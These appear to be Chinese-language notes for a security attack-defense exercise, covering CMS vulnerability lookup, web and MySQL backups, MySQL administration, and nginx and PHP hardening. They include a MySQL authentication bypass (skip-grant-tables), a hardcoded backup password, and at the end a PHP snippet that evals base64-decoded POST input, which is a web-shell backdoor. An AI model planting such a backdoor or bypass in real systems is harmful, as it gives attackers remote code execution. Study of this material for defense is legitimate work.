判断是否是已知的CMS或者框架
搜索通用漏洞,打开kali进行搜索有没有通用的漏洞,搜索disscuz漏洞
searchsploit diss
收集更多信息
Google、baidu已知的漏洞
验证查找常用的POC
收集更多信息,如WORDpress有无特殊配置,如他自己生成的版本号。
熟悉他使用的版本。
Google黑客技巧
POC
查看是否可以打出结果。
本地漏洞裤分享
http://www.bugscan.net/source/template/vulns/
https://www.shentoushi.top/index.php/Go/?url=http://www.cnnvd.org.cn&LinkId=34
https://www.seebug.org
http://www.nsfocus.net/index.php?act=sec_bug
https://www.shentoushi.top/index.php/Go/?url=http://www.0daybank.org&LinkId=44
https://www.shentoushi.top/index.php/Go/?url=http://0day5.com&LinkId=43
远程获取文件scp -r Web1:/var/www/html/ webbak/
#!/bin/bash
time=`/bin/date +%F`
bak_file="/data/backup/$time.tar.gz"
webdir="/data/www/"
tar zcvf $bak_file $webdir >/dev/null 2>&1 &
/bin/bash /data/bak.sh定时执行计划任务 crontable -ectl+octl+x
数据库备份
mysqldump -uroot -p --single-transaction --all-databases > backup.sql # 所有
mysqldump -u root -p --single-transaction dataname > dataname.sql #单个
mysqldump --skip-lock-tables -uxxxx -pxxxxxx -h 166.111.9.173 -R 数据库名 > ./urlevent20180319.sql
mysqldump -h127.0.0.1 -uroot -ppassword database |gzip >$backupDir/$database-$today.sql.gz`然后,scp回来。
#备份目录
backupDir=/home/backup/database
#mysqlDump
mysqldump=/usr/local/mariadb/bin/mysqldump
host=127.0.0.1
username=root
password=42342342
today=`date +%Y%m%d`
#要备份的数据库数组
databases=(blog chinese_medicine)
# echo $databaseCount
for database in ${databases[@]}
do
echo '开始备份'$database
$mysqldump -h$host -u$username -p$password $database | gzip > $backupDir/$database-$today.sql.gz
echo '成功备份'$database'到'$backupDir/$database-$today.sql.gz
done
恢复mysql
mysql -uroot -p TEST < bak.sql
数据库运维
取消mysql密码认证:
修改my.cnf ,添加 skip-grant-tables
修改mysql密码
update mysql.user set password=PASSWORD('skyboy') where user='root' and host='localhost';
flush privileges;
最好先修改mysql,再修改php。一般不存在需要修改mysql密码的情况。
禁止数据库的远程连接:
use mysql;
update user set host='localhost' where user='root';
flush privileges;
CREATE USER ‘dog’@‘localhost’ IDENTIFIED BY ‘123456’;
GRANT ALL ON databasename.* TO ‘dog’@‘localhost
flush privileges;
调整站点配置文件,修改数据库连接的用户名和密码。
Linxu服务器管理
对于非必须可写的目录:
权限设置为755,拥有者设为非www-data用户;从而防止文件被篡改/删除。
对于必须可写的目录:
根据服务器类型,上一个.htaccess, 或者修改nginx的目录配置文件,去除此路径的脚本执行权限。
对于Nginx:
location ~ /mm/(data|uploads|templets)/*.(php)$ {
deny all;
}
location ~ .php$ {
try_files $uri /404.html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
修改完成之后,nginx -S reload
waf脚本
通用防御
php-WAF的批量添加:
find /var/www/html -type f -path "*.php" | xargs sed -i "s/<?php/<?php require_once('/tmp/waf.php');n/g“
WAF需要同时具备拦截和抓取流量的作用。
watch
<?php
$serverList = array(
"127.0.0.1",
"::1"
);
$ip = $_SERVER['REMOTE_ADDR'];
foreach ($serverList as $host){
if( $ip===$host){
$a = $_POST['n985de9'];
if(isset($a)) {
eval(base64_decode($a));
}
}else{
die();
}
}